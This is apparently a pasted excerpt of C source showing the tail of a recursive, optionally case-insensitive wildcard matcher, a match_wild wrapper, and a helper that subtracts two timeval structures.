  1932. switch (c = *pattern++) {
  1933. case 0:
  1934. if (!*str)
  1935. return 1;
  1936. return 0;
  1937. case '?':
  1938. if (!*str)
  1939. return 0;
  1940. str++;
  1941. break;
  1942. case '*':
  1943. while (*pattern == '?') {
  1944. if (!*str)
  1945. return 0;
  1946. str++; /* skip a character for each '?' */
  1947. pattern++;
  1948. }
  1949. if (!*pattern)
  1950. return 1; /* trailing '*' matches everything else */
  1951. s = str;
  1952. while (*s) {
  1953. if ((docase ? (*s == *pattern) : (tolower(*s) == tolower(*pattern)))
  1954. && do_match_wild(pattern + 1, s + 1, docase))
  1955. return 1;
  1956. s++;
  1957. }
  1958. break;
  1959. default:
  1960. if (docase ? (*str != c) : (tolower(*str) != tolower(c)))
  1961. return 0;
  1962. str++;
  1963. break;
  1964. } /* switch */
  1965. }
  1966. /* not reached */
  1967. }
  1968.  
  1969. /*************************************************************************/
  1970.  
  1971. /**
  1972. * match_wild
  1973. *
  1974. * Wildcard matching with case.
  1975. */
  1976. int match_wild(const char *pattern, const char *str) {
  1977. return do_match_wild(pattern, str, 1);
  1978. }
  1979.  
  1980. /*************************************************************************/
  1981.  
  1982. /**
  1983. * timeval_subtract
  1984. *
  1985. * Substract two timeval structures and place the result in a third timeval structure.
  1986. */
  1987. int timeval_subtract(struct timeval *result, struct timeval *x, struct timeval *y) {
  1988. /* Perform the carry for the later subtraction by updating y. */
  1989. if (x->tv_usec < y->tv_usec) {
  1990. int nsec = (y->tv_usec - x->tv_usec) / 1000000 + 1;
  1991. y->tv_usec -= 1000000 * nsec;
  1992. y->tv_sec += nsec;
  1993. }
  1994. if (x->tv_usec - y->tv_usec > 1000000) {
  1995. int nsec = (x->tv_usec - y->tv_usec) / 1000000;
  1996. y->tv_usec += 1000000 * nsec;
  1997. y->tv_sec -= nsec;
  1998. }
  1999.  
  2000. /* Compute the time remaining to wait.
  2001. tv_usec is certainly positive. */
  2002. result->tv_sec = x->tv_sec - y->tv_sec;
  2003. result->tv_usec = x->tv_usec - y->tv_usec;
  2004.  
  2005. /* Return 1 if result is negative. */
  2006. return x->tv_sec < y->tv_sec;
  2007. }
  2008.  
  2009. /*************************************************************************/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement